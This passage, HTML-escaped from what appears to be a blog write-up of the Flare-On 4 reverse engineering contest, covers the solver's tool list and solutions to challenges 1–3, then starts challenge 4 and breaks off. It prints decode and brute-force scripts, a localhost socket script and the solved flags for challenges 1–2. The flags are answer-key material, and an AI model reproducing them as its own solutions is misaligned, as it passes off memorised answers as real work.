| &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-9&quot;&gt;Level9&lt;&#x2F;a&gt;   | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-10&quot;&gt;Level10&lt;&#x2F;a&gt;  | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-11&quot;&gt;Level11&lt;&#x2F;a&gt;  | &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#challenge-12&quot;&gt;Level12&lt;&#x2F;a&gt;  |&lt;&#x2F;p&gt;
&lt;p&gt;All the challenges are in the ZIP file that you
can &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#F!lVQzXZZQ!bZkK8Q2XkLb0O-RE-hCl1g&quot;&gt;download here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;the-arsenal&quot;&gt;The Arsenal&lt;&#x2F;h1&gt;
&lt;p&gt;My complete arsenal was (in no particular order):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;modern.ie-vagrant&quot;&gt;Modern-IE Windows VM&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.hex-rays.com&quot;&gt;IDA Pro&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nihilus&#x2F;IDA_Signsrch&quot;&gt;IDA SignSrch&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&quot;&gt;WinDBG&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.ntcore.com&#x2F;exsuite.php&quot;&gt;CFF Explorer&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mh-nexus.de&#x2F;en&#x2F;hxd&quot;&gt;HxD&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.aldeid.com&#x2F;wiki&#x2F;PEiD&quot;&gt;PEiD&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.rohitab.com&#x2F;apimonitor&quot;&gt;AIP Monitor&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;sysinternals&quot;&gt;SysInternals Suite&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;binary.ninja&quot;&gt;Binary Ninja&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fluxchief&#x2F;binaryninja_avr&quot;&gt;Binja-AVR&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;12ffb0aaacbf87db3247ad1a07acb13c&quot;&gt;Binja-covfefe&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;GDB + &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef&quot;&gt;GEF&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;buserror&#x2F;simavr&quot;&gt;SimAVR&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.oracle.com&#x2F;javase&#x2F;8&#x2F;docs&#x2F;technotes&#x2F;tools&#x2F;unix&#x2F;jdb.html&quot;&gt;JDB&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;skylot&#x2F;jadx&quot;&gt;JADX&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.genymotion.com&quot;&gt;GenyMotion&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Python modules:
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.python.org&#x2F;pypi&#x2F;IntelHex&quot;&gt;Python-IntelHex&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.python.org&#x2F;pypi&#x2F;pycrypto&quot;&gt;PyCrypto&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.python.org&#x2F;pypi&#x2F;python-camellia&#x2F;0.1.1&quot;&gt;Python-Camellia&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pypi.python.org&#x2F;pypi&#x2F;python-lzo&#x2F;1.11&quot;&gt;Python-LZO&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;secretsquirrel&#x2F;the-backdoor-factory&#x2F;blob&#x2F;master&#x2F;aPLib&#x2F;contrib&#x2F;python&#x2F;aplib.py&quot;&gt;Python-ApLib&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0xd4d&#x2F;dnSpy&quot;&gt;DnSpy&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;crypto2011&#x2F;IDR&quot;&gt;Interactive Delphi Reconstructor&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wireshark.org&quot;&gt;Wireshark&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;joxeankoret&#x2F;diaphora&quot;&gt;Diaphora&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.semicomplete.com&#x2F;projects&#x2F;xdotool&quot;&gt;xdotool&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;And a lot of C and Python snippets…&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-1&quot;&gt;Challenge 1&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Welcome to the Fourth Flare-On Challenge! The key format, as always, will be a
&lt;&#x2F;span&gt;&lt;span&gt;valid email address in the @flare-on.com domain.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;By checking the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!1EQhhLrT!uWOWRRGc-8Lx2D0iLxkSk3qMSK-xcWBV8Pnj8CYTaRg&quot;&gt;HTML source
code&lt;&#x2F;a&gt;,
we see:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;17161f3635f37c0b278c18262e4a29eb4f21675316ff9a086557e390ca3be67e.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;17161f3635f37c0b278c18262e4a29eb4f21675316ff9a086557e390ca3be67e.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Classic ROT-13, can be decoded by:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;PyvragFvqrYbtvafNerRnfl@syner-ba.pbz&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rot13&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;ClientSideLoginsAreEasy@flare-on.com
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-2&quot;&gt;Challenge 2&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-1&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;You solved that last one really quickly! Have you ever tried to reverse engineer
&lt;&#x2F;span&gt;&lt;span&gt;a compiled x86 binary? Let&amp;#39;s see if you are still as quick.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-1&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!gBIF0aYQ!82SWKCVa3hw2sI3f_2AsaHaoVwj2zux5ORXXfNMi2F4&quot;&gt;&lt;code&gt;IgniteMe.exe&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
is a small PE that reads
what a buffer from stdin and chain-xor it in reverse (with an IV set to &lt;code&gt;4&lt;&#x2F;code&gt; by
function at 0x00401000) and then compared to an &lt;code&gt;encoded_key&lt;&#x2F;code&gt; located at
0x0403000:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;00403000  0d 26 49 45 2a 17 78 44-2b 6c 5d 5e 45 12 2f 17  .&amp;amp;IE*.xD+l]^E.&#x2F;.
&lt;&#x2F;span&gt;&lt;span&gt;00403010  2b 44 6f 6e 56 09 5f 45-47 73 26 0a 0d 13 17 48  +DonV._EGs&amp;amp;....H
&lt;&#x2F;span&gt;&lt;span&gt;00403020  42 01 40 4d 0c 02 69 00                          B.@M..i.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It’s a classic simple XOR encoding challenge, the script &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;f84ad968d233699bfe47b81d7b7e73dc&quot;&gt;IgniteMe.py&lt;&#x2F;a&gt; was
used to decode it :&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; py IgniteMe.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;result&lt;&#x2F;span&gt;&lt;span&gt; R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-3&quot;&gt;Challenge 3&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-2&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Now that we see you have some skill in reverse engineering computer software,
&lt;&#x2F;span&gt;&lt;span&gt;the FLARE team has decided that you should be tested to determine the extent of
&lt;&#x2F;span&gt;&lt;span&gt;your abilities. You will most likely not finish, but take pride in the few
&lt;&#x2F;span&gt;&lt;span&gt;points you may manage to earn yourself along the way.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-2&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!4cpGWS5S!QCTrpXnC8q4WYnMHaxbqFA4mPDOVC4q2toAYGKSfe68&quot;&gt;&lt;code&gt;greek_to_me&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is a PE file that will
start by binding and listen tcp&#x2F;2222, and receive 4 bytes from the socket. This
value read will be used to decode the instructions at 0x40107c to 0x4010ee:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;489d77b797f222ef52533b5da295fd7e733c9156ec43cbd44aa1f8163ece1f81.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;489d77b797f222ef52533b5da295fd7e733c9156ec43cbd44aa1f8163ece1f81.png&quot;

    

    
    title=&quot;image_alt1&quot;
    alt=&quot;image_alt1&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Being lazy, I’ve reconstructed
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;7c7ee0e9cd9399a5ec975a72cfe58486&quot;&gt;this C script&lt;&#x2F;a&gt; from
IDA decompiler which allowed me to perform simply a brute-force locally:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; make greek_to_me
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;greek_to_me
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Starting&lt;&#x2F;span&gt;&lt;span&gt; new process 31673 with range(0, 0x20000000)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; valid key: 536871074
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; valid key: 1610612898
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; valid key: 1073741986
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With those keys, we can re-run the binary by sending those value (properly
encoded) to the socket on tcp&#x2F;2222:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;socket, sys, struct
&lt;&#x2F;span&gt;&lt;span&gt;valid_keys = [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;162&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;536871074&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1610612898&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1073741986&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;): &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;struct.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pack&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;I&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, x)
&lt;&#x2F;span&gt;&lt;span&gt;s = socket.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;socket&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;connect&lt;&#x2F;span&gt;&lt;span&gt;((&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;127.0.0.1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2222&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(sys.argv[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;print &lt;&#x2F;span&gt;&lt;span&gt;s.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;recv&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x100&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which will show as a response:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Congratulations! But wait, where&amp;#39;s my flag?
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But by setting WinDBG to break at 0x040107c and by passing the correct decoding
key when prompted, a whole new code shows up:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;05d0733685c70aa9802ace1c97c240ace73a3c18c941219d975775cae32d10a5.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;05d0733685c70aa9802ace1c97c240ace73a3c18c941219d975775cae32d10a5.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Revealing the key to this level.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-4&quot;&gt;Challenge 4&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-3&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;You&amp;#39;re using a VM to run these right?
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-3&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;This challenge was very fun at the beginning, but the last part really sucked:
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!IZA3nbLK!qdpuFX29rpXHBfEdXRWMq5R-gHw-5QHiN9cAMhx2vsk&quot;&gt;&lt;code&gt;notepad.exe&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is a small PE that by all
appearance spawns Windows classic &lt;code&gt;notepad&lt;&#x2F;code&gt;. I was fooled for a bit at first by
the instruction to this challenge, I expected a malware or something hostile,
but it is nothing of the sort. Disassembling the &lt;code&gt;start&lt;&#x2F;code&gt; in IDA shows a bunch of
interesting strings:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;c2be22c2350ecf3a792cfa07a72ee0c6a55e129e60642577e70994e53c3e2efd.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;c2be22c2350ecf3a792cfa07a72ee0c6a55e129e60642577e70994e53c3e2efd.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;%USERPROFILE%\flareon2016challenge
&lt;&#x2F;span&gt;&lt;span&gt;ImageHlp.dll
&lt;&#x2F;span&gt;&lt;span&gt;CheckSumMappedFile
&lt;&#x2F;span&gt;&lt;span&gt;User32.dll
&lt;&#x2F;span&gt;&lt;span&gt;MessageBoxA
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So I created the folder &lt;code&gt;flareon2016challenge&lt;&#x2F;code&gt; and spawned &lt;code&gt;procmon&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;9e3fc6079d951d311ad3bacdee5d98d5d191b63663d7803e93ec1f260cbde521.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;9e3fc6079d951d311ad3bacdee5d98d5d191b63663d7803e93ec1f260cbde521.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;clearly showing that &lt;code&gt;notepad&lt;&#x2F;code&gt; is looking for something in this
directory. Breaking
on
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;desktop&#x2F;aa364418(v=vs.85).aspx&quot;&gt;&lt;code&gt;Kernel32!FindFirstFile&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
we discover that the loop at 0x10140B0 performs
a
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;desktop&#x2F;aa365200(v=vs.85).aspx&quot;&gt;classic file lookup in directory&lt;&#x2F;a&gt;,
and calling the function at 0x1014E20 when a file is found. That’s where stuff
gets interesting.&lt;&#x2F;p&gt;
&lt;p&gt;![image_alt]&#x2F;img&#x2F;flareon-2017&#x2F;d9d6b730545915c4d7a94f05ff7b42ab7b5ba9fa5a9bc119147d6a35dd357c18.png)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;notepad&lt;&#x2F;code&gt; maps the file in memory, checks if it started with &lt;code&gt;MZ&lt;&#x2F;code&gt;, gets the
value at offset 0x3c, then jump to
the offset and checks if the &lt;code&gt;mmap&lt;&#x2F;code&gt;-ed memory at this offset is equal to &lt;code&gt;PE&lt;&#x2F;code&gt;. It
looks like it is searching for one or more valid PE executable files in the
&lt;code&gt;flareon2016challenge&lt;&#x2F;code&gt; folder. It does a few extra checks (is it Intel machine
in PE header, etc.) and if everything passes, calls 0x010146C0.&lt;&#x2F;p&gt;
